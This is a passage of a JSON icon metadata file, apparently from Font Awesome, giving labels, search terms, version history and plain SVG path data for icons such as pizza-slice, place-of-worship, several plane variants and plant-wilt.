        "path": "M242.4 292.5C247.8 287.1 257.1 287.1 262.5 292.5L339.5 369.5C353.7 383.7 372.6 391.5 392.6 391.5H407.7L310.6 488.6C280.3 518.1 231.1 518.1 200.8 488.6L103.3 391.2H112.6C132.6 391.2 151.5 383.4 165.7 369.2L242.4 292.5zM262.5 218.9C256.1 224.4 247.9 224.5 242.4 218.9L165.7 142.2C151.5 127.1 132.6 120.2 112.6 120.2H103.3L200.7 22.76C231.1-7.586 280.3-7.586 310.6 22.76L407.8 119.9H392.6C372.6 119.9 353.7 127.7 339.5 141.9L262.5 218.9zM112.6 142.7C126.4 142.7 139.1 148.3 149.7 158.1L226.4 234.8C233.6 241.1 243 245.6 252.5 245.6C261.9 245.6 271.3 241.1 278.5 234.8L355.5 157.8C365.3 148.1 378.8 142.5 392.6 142.5H430.3L488.6 200.8C518.9 231.1 518.9 280.3 488.6 310.6L430.3 368.9H392.6C378.8 368.9 365.3 363.3 355.5 353.5L278.5 276.5C264.6 262.6 240.3 262.6 226.4 276.6L149.7 353.2C139.1 363 126.4 368.6 112.6 368.6H80.78L22.76 310.6C-7.586 280.3-7.586 231.1 22.76 200.8L80.78 142.7H112.6z"
      }
    },
    "free": ["brands"]
  },
  "pizza-slice": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f818"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cheese",
        "chicago",
        "italian",
        "mozzarella",
        "new york",
        "pepperoni",
        "pie",
        "slice",
        "teenage mutant ninja turtles",
        "tomato"
      ]
    },
    "styles": ["solid"],
    "unicode": "f818",
    "label": "Pizza Slice",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M169.7 .9c-22.8-1.6-41.9 14-47.5 34.7L110.4 80c.5 0 1.1 0 1.6 0c176.7 0 320 143.3 320 320c0 .5 0 1.1 0 1.6l44.4-11.8c20.8-5.5 36.3-24.7 34.7-47.5C498.5 159.5 352.5 13.5 169.7 .9zM399.8 410.2c.1-3.4 .2-6.8 .2-10.2c0-159.1-128.9-288-288-288c-3.4 0-6.8 .1-10.2 .2L.5 491.9c-1.5 5.5 .1 11.4 4.1 15.4s9.9 5.6 15.4 4.1L399.8 410.2zM176 208a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM96 384a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M169.7 .9c-22.8-1.6-41.9 14-47.5 34.7L110.4 80c.5 0 1.1 0 1.6 0c176.7 0 320 143.3 320 320c0 .5 0 1.1 0 1.6l44.4-11.8c20.8-5.5 36.3-24.7 34.7-47.5C498.5 159.5 352.5 13.5 169.7 .9zM399.8 410.2c.1-3.4 .2-6.8 .2-10.2c0-159.1-128.9-288-288-288c-3.4 0-6.8 .1-10.2 .2L.5 491.9c-1.5 5.5 .1 11.4 4.1 15.4s9.9 5.6 15.4 4.1L399.8 410.2zM176 208a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM96 384a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "place-of-worship": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f67f"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "church", "holy", "mosque", "synagogue"]
    },
    "styles": ["solid"],
    "unicode": "f67f",
    "label": "Place Of Worship",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 109.3V217.6L183.3 242c-14.5 8.7-23.3 24.3-23.3 41.2V512h96V416c0-35.3 28.7-64 64-64s64 28.7 64 64v96h96V283.2c0-16.9-8.8-32.5-23.3-41.2L416 217.6V109.3c0-8.5-3.4-16.6-9.4-22.6L331.3 11.3c-6.2-6.2-16.4-6.2-22.6 0L233.4 86.6c-6 6-9.4 14.1-9.4 22.6zM24.9 330.3C9.5 338.8 0 354.9 0 372.4V464c0 26.5 21.5 48 48 48h80V273.6L24.9 330.3zM592 512c26.5 0 48-21.5 48-48V372.4c0-17.5-9.5-33.6-24.9-42.1L512 273.6V512h80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 109.3V217.6L183.3 242c-14.5 8.7-23.3 24.3-23.3 41.2V512h96V416c0-35.3 28.7-64 64-64s64 28.7 64 64v96h96V283.2c0-16.9-8.8-32.5-23.3-41.2L416 217.6V109.3c0-8.5-3.4-16.6-9.4-22.6L331.3 11.3c-6.2-6.2-16.4-6.2-22.6 0L233.4 86.6c-6 6-9.4 14.1-9.4 22.6zM24.9 330.3C9.5 338.8 0 354.9 0 372.4V464c0 26.5 21.5 48 48 48h80V273.6L24.9 330.3zM592 512c26.5 0 48-21.5 48-48V372.4c0-17.5-9.5-33.6-24.9-42.1L512 273.6V512h80z"
      }
    },
    "free": ["solid"]
  },
  "plane": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f072"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane",
        "airport",
        "destination",
        "fly",
        "location",
        "mode",
        "travel",
        "trip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f072",
    "label": "Plane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M482.3 192c34.2 0 93.7 29 93.7 64c0 36-59.5 64-93.7 64l-116.6 0L265.2 495.9c-5.7 10-16.3 16.1-27.8 16.1l-56.2 0c-10.6 0-18.3-10.2-15.4-20.4l49-171.6L112 320 68.8 377.6c-3 4-7.8 6.4-12.8 6.4l-42 0c-7.8 0-14-6.3-14-14c0-1.3 .2-2.6 .5-3.9L32 256 .5 145.9c-.4-1.3-.5-2.6-.5-3.9c0-7.8 6.3-14 14-14l42 0c5 0 9.8 2.4 12.8 6.4L112 192l102.9 0-49-171.6C162.9 10.2 170.6 0 181.2 0l56.2 0c11.5 0 22.1 6.2 27.8 16.1L365.7 192l116.6 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M482.3 192c34.2 0 93.7 29 93.7 64c0 36-59.5 64-93.7 64l-116.6 0L265.2 495.9c-5.7 10-16.3 16.1-27.8 16.1l-56.2 0c-10.6 0-18.3-10.2-15.4-20.4l49-171.6L112 320 68.8 377.6c-3 4-7.8 6.4-12.8 6.4l-42 0c-7.8 0-14-6.3-14-14c0-1.3 .2-2.6 .5-3.9L32 256 .5 145.9c-.4-1.3-.5-2.6-.5-3.9c0-7.8 6.3-14 14-14l42 0c5 0 9.8 2.4 12.8 6.4L112 192l102.9 0-49-171.6C162.9 10.2 170.6 0 181.2 0l56.2 0c11.5 0 22.1 6.2 27.8 16.1L365.7 192l116.6 0z"
      }
    },
    "free": ["solid"]
  },
  "plane-arrival": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6ec"],
        "secondary": ["10f5af"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "aeroplane",
        "airplane",
        "airplane arrival",
        "airport",
        "arrivals",
        "arriving",
        "destination",
        "fly",
        "land",
        "landing",
        "location",
        "mode",
        "travel",
        "trip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5af",
    "label": "Plane Arrival",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M.3 166.9L0 68C0 57.7 9.5 50.1 19.5 52.3l35.6 7.9c10.6 2.3 19.2 9.9 23 20L96 128l127.3 37.6L181.8 20.4C178.9 10.2 186.6 0 197.2 0h40.1c11.6 0 22.2 6.2 27.9 16.3l109 193.8 107.2 31.7c15.9 4.7 30.8 12.5 43.7 22.8l34.4 27.6c24 19.2 18.1 57.3-10.7 68.2c-41.2 15.6-86.2 18.1-128.8 7L121.7 289.8c-11.1-2.9-21.2-8.7-29.3-16.9L9.5 189.4c-5.9-6-9.3-14-9.3-22.5zM32 448H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm96-80a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm128-16a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M.3 166.9L0 68C0 57.7 9.5 50.1 19.5 52.3l35.6 7.9c10.6 2.3 19.2 9.9 23 20L96 128l127.3 37.6L181.8 20.4C178.9 10.2 186.6 0 197.2 0h40.1c11.6 0 22.2 6.2 27.9 16.3l109 193.8 107.2 31.7c15.9 4.7 30.8 12.5 43.7 22.8l34.4 27.6c24 19.2 18.1 57.3-10.7 68.2c-41.2 15.6-86.2 18.1-128.8 7L121.7 289.8c-11.1-2.9-21.2-8.7-29.3-16.9L9.5 189.4c-5.9-6-9.3-14-9.3-22.5zM32 448H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm96-80a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm128-16a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "plane-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane",
        "airport",
        "flight",
        "fly",
        "not affected",
        "ok",
        "okay",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "e555",
    "label": "Plane Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "plane-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "airplane", "airport", "flight", "fly", "travel"]
    },
    "styles": ["solid"],
    "unicode": "e556",
    "label": "Plane Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "plane-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["airplane", "airport", "destroy", "flight", "fly", "travel"]
    },
    "styles": ["solid"],
    "unicode": "e557",
    "label": "Plane Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "plane-departure": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6eb"],
        "secondary": ["10f5b0"]
      }
    },
    "changes": [
      "5.1.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "aeroplane",
        "airplane",
        "airplane departure",
        "airport",
        "check-in",
        "departing",
        "departure",
        "departures",
        "destination",
        "fly",
        "location",
        "mode",
        "take off",
        "taking off",
        "travel",
        "trip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5b0",
    "label": "Plane Departure",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M381 114.9L186.1 41.8c-16.7-6.2-35.2-5.3-51.1 2.7L89.1 67.4C78 73 77.2 88.5 87.6 95.2l146.9 94.5L136 240 77.8 214.1c-8.7-3.9-18.8-3.7-27.3 .6L18.3 230.8c-9.3 4.7-11.8 16.8-5 24.7l73.1 85.3c6.1 7.1 15 11.2 24.3 11.2H248.4c5 0 9.9-1.2 14.3-3.4L535.6 212.2c46.5-23.3 82.5-63.3 100.8-112C645.9 75 627.2 48 600.2 48H542.8c-20.2 0-40.2 4.8-58.2 14L381 114.9zM0 480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M381 114.9L186.1 41.8c-16.7-6.2-35.2-5.3-51.1 2.7L89.1 67.4C78 73 77.2 88.5 87.6 95.2l146.9 94.5L136 240 77.8 214.1c-8.7-3.9-18.8-3.7-27.3 .6L18.3 230.8c-9.3 4.7-11.8 16.8-5 24.7l73.1 85.3c6.1 7.1 15 11.2 24.3 11.2H248.4c5 0 9.9-1.2 14.3-3.4L535.6 212.2c46.5-23.3 82.5-63.3 100.8-112C645.9 75 627.2 48 600.2 48H542.8c-20.2 0-40.2 4.8-58.2 14L381 114.9zM0 480c0 17.7 14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "plane-lock": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane",
        "airport",
        "closed",
        "flight",
        "fly",
        "lockdown",
        "quarantine",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "e558",
    "label": "Plane Lock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 93.7C192 59.5 221 0 256 0c36 0 64 59.5 64 93.7v84.6l101.8 58.2C418 247.6 416 259.6 416 272v24.6c-17.9 10.4-30.3 29.1-31.8 50.9L320 329.1V400l57.6 43.2c4 3 6.4 7.8 6.4 12.8v24 18c0 7.8-6.3 14-14 14c-1.3 0-2.6-.2-3.9-.5L256 480 145.9 511.5c-1.3 .4-2.6 .5-3.9 .5c-7.8 0-14-6.3-14-14V456c0-5 2.4-9.8 6.4-12.8L192 400l0-70.9-171.6 49C10.2 381.1 0 373.4 0 362.8V297.3c0-5.7 3.1-11 8.1-13.9L192 178.3V93.7zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 93.7C192 59.5 221 0 256 0c36 0 64 59.5 64 93.7v84.6l101.8 58.2C418 247.6 416 259.6 416 272v24.6c-17.9 10.4-30.3 29.1-31.8 50.9L320 329.1V400l57.6 43.2c4 3 6.4 7.8 6.4 12.8v24 18c0 7.8-6.3 14-14 14c-1.3 0-2.6-.2-3.9-.5L256 480 145.9 511.5c-1.3 .4-2.6 .5-3.9 .5c-7.8 0-14-6.3-14-14V456c0-5 2.4-9.8 6.4-12.8L192 400l0-70.9-171.6 49C10.2 381.1 0 373.4 0 362.8V297.3c0-5.7 3.1-11 8.1-13.9L192 178.3V93.7zM528 240c-17.7 0-32 14.3-32 32v48h64V272c0-17.7-14.3-32-32-32zm-80 32c0-44.2 35.8-80 80-80s80 35.8 80 80v48c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V352c0-17.7 14.3-32 32-32V272z"
      }
    },
    "free": ["solid"]
  },
  "plane-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e069"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane mode",
        "airport",
        "canceled",
        "covid-19",
        "delayed",
        "grounded",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "e069",
    "label": "Plane Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M514.3 192c34.2 0 93.7 29 93.7 64c0 36-59.5 64-93.7 64H440.6L630.8 469.1c10.4 8.2 12.3 23.3 4.1 33.7s-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2S28.4-3.1 38.8 5.1L238.1 161.3 197.8 20.4C194.9 10.2 202.6 0 213.2 0h56.2c11.5 0 22.1 6.2 27.8 16.1L397.7 192l116.6 0zM41.5 128.7l321 252.9L297.2 495.9c-5.7 10-16.3 16.1-27.8 16.1l-56.2 0c-10.6 0-18.3-10.2-15.4-20.4l49-171.6H144l-43.2 57.6c-3 4-7.8 6.4-12.8 6.4H46c-7.8 0-14-6.3-14-14c0-1.3 .2-2.6 .5-3.9L64 256 32.5 145.9c-.4-1.3-.5-2.6-.5-3.9c0-6.2 4-11.4 9.5-13.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M514.3 192c34.2 0 93.7 29 93.7 64c0 36-59.5 64-93.7 64H440.6L630.8 469.1c10.4 8.2 12.3 23.3 4.1 33.7s-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2S28.4-3.1 38.8 5.1L238.1 161.3 197.8 20.4C194.9 10.2 202.6 0 213.2 0h56.2c11.5 0 22.1 6.2 27.8 16.1L397.7 192l116.6 0zM41.5 128.7l321 252.9L297.2 495.9c-5.7 10-16.3 16.1-27.8 16.1l-56.2 0c-10.6 0-18.3-10.2-15.4-20.4l49-171.6H144l-43.2 57.6c-3 4-7.8 6.4-12.8 6.4H46c-7.8 0-14-6.3-14-14c0-1.3 .2-2.6 .5-3.9L64 256 32.5 145.9c-.4-1.3-.5-2.6-.5-3.9c0-6.2 4-11.4 9.5-13.3z"
      }
    },
    "free": ["solid"]
  },
  "plane-up": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane",
        "airport",
        "internet",
        "signal",
        "sky",
        "wifi",
        "wireless"
      ]
    },
    "styles": ["solid"],
    "unicode": "e22d",
    "label": "Plane Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 93.7C192 59.5 221 0 256 0c36 0 64 59.5 64 93.7l0 66.3L497.8 278.5c8.9 5.9 14.2 15.9 14.2 26.6v56.7c0 10.9-10.7 18.6-21.1 15.2L320 320v80l57.6 43.2c4 3 6.4 7.8 6.4 12.8v42c0 7.8-6.3 14-14 14c-1.3 0-2.6-.2-3.9-.5L256 480 145.9 511.5c-1.3 .4-2.6 .5-3.9 .5c-7.8 0-14-6.3-14-14V456c0-5 2.4-9.8 6.4-12.8L192 400V320L21.1 377C10.7 380.4 0 372.7 0 361.8V305.1c0-10.7 5.3-20.7 14.2-26.6L192 160V93.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 93.7C192 59.5 221 0 256 0c36 0 64 59.5 64 93.7l0 66.3L497.8 278.5c8.9 5.9 14.2 15.9 14.2 26.6v56.7c0 10.9-10.7 18.6-21.1 15.2L320 320v80l57.6 43.2c4 3 6.4 7.8 6.4 12.8v42c0 7.8-6.3 14-14 14c-1.3 0-2.6-.2-3.9-.5L256 480 145.9 511.5c-1.3 .4-2.6 .5-3.9 .5c-7.8 0-14-6.3-14-14V456c0-5 2.4-9.8 6.4-12.8L192 400V320L21.1 377C10.7 380.4 0 372.7 0 361.8V305.1c0-10.7 5.3-20.7 14.2-26.6L192 160V93.7z"
      }
    },
    "free": ["solid"]
  },
  "plant-wilt": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drought", "planting", "vegetation", "wilt"]
    },
    "styles": ["solid"],
    "unicode": "e5aa",
    "label": "Plant Wilt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 120c0-30.9 25.1-56 56-56s56 25.1 56 56v13c-29.3 10-48 34.5-48 70.1c0 27.9 25.3 74.8 66 111.6c3.8 3.5 8.9 5.3 14 5.3s10.2-1.8 14-5.3c40.7-36.8 66-83.7 66-111.6c0-35.6-18.7-60.2-48-70.1V120C464 53.7 410.3 0 344 0S224 53.7 224 120v21.8C207.3 133 188.2 128 168 128c-66.3 0-120 53.7-120 120v13c-29.3 10-48 34.5-48 70.1C0 359 25.3 405.9 66 442.7c3.8 3.5 8.9 5.3 14 5.3s10.2-1.8 14-5.3c40.7-36.8 66-83.7 66-111.6c0-35.6-18.7-60.2-48-70.1V248c0-30.9 25.1-56 56-56s56 25.1 56 56v32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V280 248 120z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 120c0-30.9 25.1-56 56-56s56 25.1 56 56v13c-29.3 10-48 34.5-48 70.1c0 27.9 25.3 74.8 66 111.6c3.8 3.5 8.9 5.3 14 5.3s10.2-1.8 14-5.3c40.7-36.8 66-83.7 66-111.6c0-35.6-18.7-60.2-48-70.1V120C464 53.7 410.3 0 344 0S224 53.7 224 120v21.8C207.3 133 188.2 128 168 128c-66.3 0-120 53.7-120 120v13c-29.3 10-48 34.5-48 70.1C0 359 25.3 405.9 66 442.7c3.8 3.5 8.9 5.3 14 5.3s10.2-1.8 14-5.3c40.7-36.8 66-83.7 66-111.6c0-35.6-18.7-60.2-48-70.1V248c0-30.9 25.1-56 56-56s56 25.1 56 56v32V480c0 17.7 14.3 32 32 32s32-14.3 32-32V280 248 120z"
      }
    },
    "free": ["solid"]
  },
  "plate-wheat": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bowl", "hunger", "rations", "wheat"]
    },
    "styles": ["solid"],
    "unicode": "e55a",
    "label": "Plate Wheat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
